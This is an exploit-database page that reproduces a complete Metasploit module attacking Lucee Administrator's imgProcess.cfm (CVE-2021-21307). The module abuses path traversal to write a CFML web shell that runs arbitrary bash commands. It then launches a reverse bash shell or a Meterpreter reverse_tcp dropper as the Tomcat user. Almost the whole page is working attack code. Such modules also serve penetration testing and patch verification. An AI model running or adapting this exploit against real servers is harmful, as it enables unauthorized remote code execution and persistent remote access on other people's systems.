Lucee Administrator imgProcess.cfm Arbitrary File Write

2021.08.17
Credit: wvu
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Lucee Administrator imgProcess.cfm Arbitrary File Write', 'Description' => %q{ This module exploits an arbitrary file write in Lucee Administrator's imgProcess.cfm file to execute commands as the Tomcat user. }, 'Author' => [ 'rootxharsh', # Discovery and PoC 'iamnoooob', # Discovery and PoC 'wvu' # Exploit ], 'References' => [ ['CVE', '2021-21307'], ['URL', 'https://dev.lucee.org/t/lucee-vulnerability-alert-november-2020-cve-2021-21307/7643'], ['URL', 'https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r'], ['URL', 'https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md'] ], 'DisclosureDate' => '2021-01-15', # rootxharsh and iamnoooob's writeup 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], # TODO: Windows? 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, # Tomcat user 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8888 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ # /opt/lucee/server/lucee-server/context/logs/application.log # /opt/lucee/web/logs/exception.log IOC_IN_LOGS, # /opt/lucee/web/temp/admin-ext-thumbnails/__/ # /opt/lucee/web/temp/admin-ext-thumbnails/__/../../../context/[a-zA-Z0-9]{8,16}.cfm ARTIFACTS_ON_DISK ] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/lucee']) ]) register_advanced_options([ OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5]) ]) end def check # NOTE: This doesn't actually write a file res = write_file(rand_text_alphanumeric(8..16), nil) return CheckCode::Unknown unless res unless res.code == 500 && res.body.include?("key [IMGSRC] doesn't exist") return CheckCode::Safe end CheckCode::Appears('Lucee Administrator imgProcess.cfm detected.') end def exploit print_status("Writing CFML stub: #{full_uri(cfml_uri)}") unless write_cfml_stub fail_with(Failure::NotVulnerable, 'Failed to write CFML stub') end print_status("Executing #{payload_instance.refname} (#{target.name})") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end def write_cfml_stub # XXX: Create /opt/lucee/web/temp/admin-ext-thumbnails/__/ res = write_file('/.', '') # Leak directory traversal base path from 500 response unless res&.code == 500 && %r{file \[(?<base_path>.*?/__/)\.\]} =~ res.body return false end register_dir_for_cleanup(base_path) cfml_path = "/../../../context/#{cfml_filename}" res = write_file(cfml_path, cfml_stub) return false unless res&.code == 200 register_file_for_cleanup(normalize_uri(base_path, cfml_path)) true end def execute_command(cmd, _opts = {}) vprint_status(cmd) res = send_request_cgi({ 'method' => 'POST', 'uri' => cfml_uri, 'vars_post' => { cfml_param => cmd } }, datastore['CmdExecTimeout']) return unless res fail_with(Failure::PayloadFailed, cmd) unless res.code == 200 vprint_line(res.body) end def write_file(name, contents) opts = { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/admin/imgProcess.cfm') } opts['vars_get'] = { 'file' => name } if name opts['vars_post'] = { 'imgSrc' => contents } if contents send_request_cgi(opts) end def cfml_stub # https://cfdocs.org/cfscript # https://cfdocs.org/cfexecute <<~CFML.gsub(/^\s+/, '').tr("\n", '') <cfscript> cfexecute(name="/bin/bash", arguments=["-c", "#form.#{cfml_param}#"]); </cfscript> CFML end def cfml_uri normalize_uri(target_uri.path, cfml_filename) end def cfml_param @cfml_param ||= rand_text_alphanumeric(8..16) end def cfml_filename @cfml_filename ||= "#{rand_text_alphanumeric(8..16)}.cfm" end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top